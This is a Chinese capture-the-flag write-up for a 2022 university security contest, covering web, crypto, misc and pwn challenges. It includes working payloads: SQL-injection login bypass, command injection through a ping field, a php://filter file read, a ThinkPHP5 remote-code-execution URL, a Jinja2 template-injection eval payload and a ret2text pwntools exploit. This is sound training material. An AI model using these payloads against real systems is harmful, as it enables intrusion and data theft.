南华大学2022第五届网络安全竞赛wp

文章目录

  • Web
    • 别卷了,来听完讲故事
    • GET请求
    • Easy php
    • UA头
    • 万能密码
  • Crypto
    • 你知道ascii码吗
    • JS 是个啥
    • base
    • sign up
    • easy python
  • Misc
    • 被劫持的神秘礼物
    • WebShell后门
    • ICMP
    • 秘密文件
  • kesc_pwn
    • easy_pwn
  • kesc_web
    • POST请求
    • RCE
    • 99999
    • bodyphp
    • Thinkphp
    • Flask
  • keec_crypto
    • base
    • RSA
    • BASE64
  • kesc_misc
    • 三明治好吃!!!(被逼的)
    • hash破解之路
    • yyzy
    • 我与菜刀的那段故事
    • 眼花缭乱
  • 总结

Web

别卷了,来听完讲故事

ctrl + u 查看源码
南华大学2022第五届网络安全竞赛wp_第1张图片
点击进入js 文件,就能看到 flag 了

在这里插入图片描述

GET请求

南华大学2022第五届网络安全竞赛wp_第2张图片
构造后在url框发送即可

/?I_wanna_flag=I_wanna_f1ag

这样就能直接发送GET请求了

Easy php

南华大学2022第五届网络安全竞赛wp_第3张图片

intval()函数可以获取变量的整数值,常被用来进行数据类型转换,将字符串类型的变量转换为为整数类型。所以我们令GET请求中的id的值为浮点数类型即可,比如 1024.1 这样,$_GET[‘id’] 的值便为 1024.1 ,id 的值便为 1024,执行代码后,就会执行道 echo $flag ,得到 flag
南华大学2022第五届网络安全竞赛wp_第4张图片

UA头

这里需要使用到burpsuite点击下载
Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
具体使用方法见这里,不多赘述
下图是bp的抓包后的界面,黄线部分便是浏览器标识符,我们就是要修改这里
南华大学2022第五届网络安全竞赛wp_第5张图片
这里按照题目说的,利用 bp 抓包后修改浏览器标识符再放包(点击Forward)即可
南华大学2022第五届网络安全竞赛wp_第6张图片
在网页上便可看到flag
在这里插入图片描述

万能密码

这道题随便注入,用户名填入 1 再点击登录即可
这是由于 登录验证代码 编写不严谨,可以被绕过

SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'

比如在上面这段SQL查询语句中,当填入的用户名为 1’ or 1=1 or ‘1’ = ‘1’ 时,SQL查询语句会被拼接成

SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='xxxxxxxxx'

这样,就成了 false or true or false,返回 true
南华大学2022第五届网络安全竞赛wp_第7张图片

Crypto

010editor下载链接

你知道ascii码吗

这里我是直接导入010editor
南华大学2022第五届网络安全竞赛wp_第8张图片
选择题目文件导入就可以看到ascii码
南华大学2022第五届网络安全竞赛wp_第9张图片
当然,也可以很简单的写个算法,C++或者是python都能很好地实现
python

with open('C:\\Users\\wind\\Desktop\\ascii', 'rb+') as file:
    text = file.read()
    text += b' '
w = 0
flag = ''
for i in text:
    if i == 32:    	  # 32 是空格的 ascii 码
        flag += chr(w)
        w = 0
    else:
        w = w * 2 + (i - 48)
print(flag)

C++

#include 
using namespace std;
string flag;
string text("01100110 01101100 01100001 01100111 01111011 01100101 01100001 01110011 01111001 01011111 01100001 01110011 01100011 01101001 01101001 01111101");
int main()
{
	text += ' ';
	int w = 0;
	for(int i = 0; i < text.size(); i++)
		if(text[i] == ' ')
			flag += w, w = 0;
		else
			w = w * 2 + (text[i] - '0');
	cout<<flag<<endl;
	return 0;
}

JS 是个啥

明显的 AAencode 编码
在线解密网站
丢进去解密下
南华大学2022第五届网络安全竞赛wp_第10张图片

base

这道题,就是根据 base16、32、64 的顺序加密了一遍,解密即可,不过这里推荐一款工具
python 的 ciphey
这是一款使用自然语言处理和人工智能以及一些常识的全自动解密/解码/破解工具

python3 -m pip install -U ciphey

使用上面命令进行安装

python3 -m ciphey -f 文件路径
python3 -m ciphey -t 密文

使用上面的两种命令来进行解密,可以在下图看到成功解密
南华大学2022第五届网络安全竞赛wp_第11张图片

sign up

在 010deitor 中用 EBCDIC 编码查看
南华大学2022第五届网络安全竞赛wp_第12张图片
如图
南华大学2022第五届网络安全竞赛wp_第13张图片

easy python

就是读懂程序的加密算法,然后反着解密,这个没什么好说

import base64
flag_en = 'Z25ka8KAa2hbwoLigJ7igJ98wobCgndAf8KP'
flag = ''
flag_en = base64.b64decode(flag_en)
flag_en = flag_en.decode("utf-8")
for i in range(len(flag_en)):
    flag = chr(ord(flag_en[i]) - i - 1)
print(flag)
#flag{eaSy——pyth0n}

Misc

被劫持的神秘礼物

南华大学2022第五届网络安全竞赛wp_第14张图片
在流0找到的, name = admina、pass = adminb
南华大学2022第五届网络安全竞赛wp_第15张图片
所以flag{adminaadminb}

WebShell后门

将得到的文件丢进 kali

grep -r "flag" webshell 

这个命令的功能是寻找webshell文件夹中所有文件中包含flag字符串的文本并打印(webshell文件夹在当前终端目录下)
在这里插入图片描述
这样就找到 flag 了
如果,这道题的flag不是flag{xxxx}的格式的话,可以用D盾把后门文件扫出来,然后一个个地看

ICMP

把 icmp 协议过滤出来南华大学2022第五届网络安全竞赛wp_第16张图片
查看每个流量中的 画横线位置 刚好可以组成 ctfhub{xxx} ,于是记录下来,拿到flag南华大学2022第五届网络安全竞赛wp_第17张图片

秘密文件

追踪http流,在流2中找到南华大学2022第五届网络安全竞赛wp_第18张图片

kesc_pwn

easy_pwn

拿道题目先看下是什么文件,还有保护措施
南华大学2022第五届网络安全竞赛wp_第19张图片
再利用IDA打开,静态分析发现明显的栈溢出
南华大学2022第五届网络安全竞赛wp_第20张图片
以及后门函数
南华大学2022第五届网络安全竞赛wp_第21张图片
可以知道,这道题就是pwn中最简单的 ret2text 了
接下来是构造payload,buffer距离 ebp 是 0x10 = 16 个字节,再加上 ebp = 4 个字节,所以要填充 20 个字节的无用数据才能覆盖到 ret
漏洞利用脚本如下

form pwn import *
p = remote('123.56.22.25', 10000)
elf = ELF('pwn1')
get_shell_addr = elf.symbols['get_shell'] 
payload = b'a'*20 + p32(get_shell_addr)
p.sendline(payload)
p.interactive()

运行后成功拿到shell南华大学2022第五届网络安全竞赛wp_第22张图片

kesc_web

POST请求

直接利用 hackbar 插件进行POST请求
南华大学2022第五届网络安全竞赛wp_第23张图片

RCE

尝试输入 ‘1’,发现是通过 ping + 输入的字符串 进行拼接后执行南华大学2022第五届网络安全竞赛wp_第24张图片
所以,我们这么拼接

;find / -name "*flag*" # ';'起到了命令隔断作用

来查找到 flag 文件的位置
在这里插入图片描述
再利用 cat 来查看 flag

;cat /tmp/flag.txt

南华大学2022第五届网络安全竞赛wp_第25张图片

99999

看下代码,发现要绕过两次
在这里插入图片描述
我们令 num2 = 1e9 ,以科学计数法的形式来绕过第一个if
再利用php中数组的md5返回值为 null 的特性,令 md5a[]=1,md5b[]=2,来绕过第二个if
南华大学2022第五届网络安全竞赛wp_第26张图片

bodyphp

南华大学2022第五届网络安全竞赛wp_第27张图片
简单的文件包含漏洞
构造以下payload,以base64编码读取 flag.php 文件的内容

/?path=php://filter/read=convert.base64-encode/resource=flag.php

南华大学2022第五届网络安全竞赛wp_第28张图片
再用 base64 解码下南华大学2022第五届网络安全竞赛wp_第29张图片

Thinkphp

南华大学2022第五届网络安全竞赛wp_第30张图片
thinkphp5漏洞
在网上可以找到了payload

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

执行下在这里插入图片描述
发现 flag.txt 就在同目录下
直接访问即可南华大学2022第五届网络安全竞赛wp_第31张图片

Flask

flask漏洞

rom flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

这是Flask(Jinja2) 服务端模板注入漏洞(SSTI),漏洞模板py代码的执行结果和网页的基本一致
可以在这边文章找到payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

于是尝试用以下payload打下

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

成功远程执行命令在这里插入图片描述
修改下payload,在 /tmp/ 下找到了 flag.txt
远程执行命令,拿到flag
在这里插入图片描述
具体漏洞原理见链接

keec_crypto

base

刚开始用 ciphey 和 basecrack ,但是一直解不出来,只能手工解题了
套了20层的一道题,不过多出的是 base58,编码过长,在线base解密不能用,所以只能用python,刚好python库函数也方便
确定是base58是因为有段编码 16、32、64都不能解码,用 basecrack 确定的是 base58,当然,也可以用肉眼观察法,看编码特征
以下是解码脚本

import base58
import base64

with open('C:\\Users\\wind\\Desktop\\base.txt', 'r') as file:
    text = file.read()
text = base64.b16decode(text)
text = base64.b64decode(text)
text = base64.b64decode(text)
text = base64.b16decode(text)
text = base58.b58decode(text)
text = base64.b64decode(text)
text = base58.b58decode(text)
text = base58.b58decode(text)
text = base64.b32decode(text)
text = base58.b58decode(text)
text = base64.b64decode(text)
text = base64.b64decode(text)
text = base64.b16decode(text)
text = base58.b58decode(text)
text = base64.b16decode(text)
text = base64.b64decode(text)
text = base64.b32decode(text)
text = base64.b32decode(text)
text = base64.b32decode(text)
text = base58.b58decode(text)
print(text)
#flag{Base16/32/58/64_mix_circle}

RSA

明显需要利用RSA共模攻击
下面是数学证明

e1 * s1 + e2 * s2 = 1
m = (c1^s1 % n * c2^s2 % n) % n
推导:
m = m % n
m = m1 % n
m = m^(e1s1+e2s2) % n
m = (m^(e1s1) % n * m^(e2s1) % n) % n
m = (c1^s1 % n * c2^s2 % n) % n

这个RSA共模攻击模板脚本

import gmpy2
import libnum
n = 14645004198242958702684656698142277769755504392789471439614672923899997896378049389751111717345474967847418848679714659963802182880634680947538237819389357697589901991859016216906388689527291511002281361754488080658815999644978875560878457775133388616296292496233063189595924506231795183893892309303016156636100814304674069999264856485872761693780436656322638490307582687744500830671620222002027765891730730285164741570047345831642466535875308424251369563048302769824754859258248966911394121070173157533488793344597604671624655549657342282782909531209405869780698125628491720153185060619625588764919399559938792709647
c1 = 482039676806541489871149900340083338215622911212438517070057118189833694841231497750233544130723515302678329109420207576936295588498295759927102714005418032492688490648411127029755313648976402636890250124471802696017305494201665135333853665935388412647232064139093151896196592495046800397429781322372962127888387850390470016625682943122929452170373901654381211697207308458392523044047491209228775223413645704348266447220381457553122487370284688586302691850199506801118371274880024497213927610910683523967429411424593663833387497280907648781279284710655799959124927006425876170488842531209951472165865363044413421785
c2 = 5700832817172059676796332158665495032909755040295427980854478243355147337529217822270237485294154197017331068719577961418889231568221987525343802576159454553403852118919894514857171119361680688305918650397485593234584376509419276512710690058784968196916874825278267921867684819974939936939037572214495058459725790211123438576582084868138660676323428035120665380748088164536888308261799224341463386939314036722050872935254135097446773977908104925631570933986088397314391503480828243252341548651868141355721538721598383749638063102419943201249104201330704249656005213399059483498693276533017048089041637401662152528001
e1 = 65537
e2 = 13919
r, s1, s2 = gmpy2.gcdext(e1, e2)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(hex(m))
print(libnum.n2s(int(m)))
#flag{RSA_g0ngm0_attack}

BASE64

这道题是隐写题,应该放在Misc的,而不是Crypto
大佬博客
如果只是单纯解码,会发现是关于网络安全的信息,没什么用
当知道是base64隐写后,网上找个脚本直接用就行

def get_base64_diff_value(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in xrange(len(s2)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res

def solve_stego():
    with open('C:\\Users\\wind\\Desktop\\base64.txt', 'rb') as f:
        file_lines = f.readlines()
        bin_str = ''
        for line in file_lines:
            steg_line = line.replace('\n', '')
            norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
            diff = get_base64_diff_value(steg_line, norm_line)
            print diff
            pads_num = steg_line.count('=')
            if diff:
                bin_str += bin(diff)[2:].zfill(pads_num * 2)
            else:
                bin_str += '0' * pads_num * 2
            print goflag(bin_str)

def goflag(bin_str):
    res_str = ''
    for i in xrange(0, len(bin_str), 8):
        res_str += chr(int(bin_str[i:i + 8], 2))
    return res_str

if __name__ == '__main__':
    solve_stego()

kesc_misc

三明治好吃!!!(被逼的)

得到一张 三明治 的图片
010editor 打开后,发现其中有一段 base32 编码
南华大学2022第五届网络安全竞赛wp_第32张图片
解码得到 flag南华大学2022第五届网络安全竞赛wp_第33张图片

hash破解之路

得到两个文件
南华大学2022第五届网络安全竞赛wp_第34张图片
在 kali 用 file 查看发现是 CDFV2 文件?
百度了以下,是 xml 格式的,所以修改成 1.ppt 打开
在这里插入图片描述
发现要密码
南华大学2022第五届网络安全竞赛wp_第35张图片

这里直接用ppt破解工具点击下载
南华大学2022第五届网络安全竞赛wp_第36张图片
密码是 9919
打开后得到
在这里插入图片描述

yyzy

这个网站有对照表

我与菜刀的那段故事

既然是菜刀,那么重点观察 http,在 流9 中发现有个 zip 文件的传输
南华大学2022第五届网络安全竞赛wp_第37张图片
于是在 kali 中利用 foremost 命令提取该 zip
南华大学2022第五届网络安全竞赛wp_第38张图片
需要密码,经尝试,不是伪加密,也不能被简单地爆破
南华大学2022第五届网络安全竞赛wp_第39张图片
那么应该就要到流量包中找密码了
在 流7 中发现一段十六进制编码
南华大学2022第五届网络安全竞赛wp_第40张图片
用 010deitor 导入
发现是 jpg 文件
南华大学2022第五届网络安全竞赛wp_第41张图片
保存为jpg格式文件,打开,于是这就是压缩包的密码
南华大学2022第五届网络安全竞赛wp_第42张图片
打开压缩包南华大学2022第五届网络安全竞赛wp_第43张图片

眼花缭乱

提示得很明显了
南华大学2022第五届网络安全竞赛wp_第44张图片
在流114发现了 EXIF 字段,exif隐写,应该就是图片的备注信息藏了flag
南华大学2022第五届网络安全竞赛wp_第45张图片
把它切换成原始数据形式,然后另存为 1.jpg
南华大学2022第五届网络安全竞赛wp_第46张图片
果然在属性中发现了flag,不过只有一半
南华大学2022第五届网络安全竞赛wp_第47张图片
这个流量包是有很多jpg文件的,猜测另一半flag会不会也是在图片备注中
于是搜索关键词 Exif ,在流十九中发现了一张也带有 Exif 的 jpg 文件
南华大学2022第五届网络安全竞赛wp_第48张图片
接着往下看,发现了 flag 的另外一半在这里插入图片描述

总结

这次校赛还是比较简单基础的,大部分题目都在buuctf上有,加油加油!。

你可能感兴趣的:(web安全,安全,php)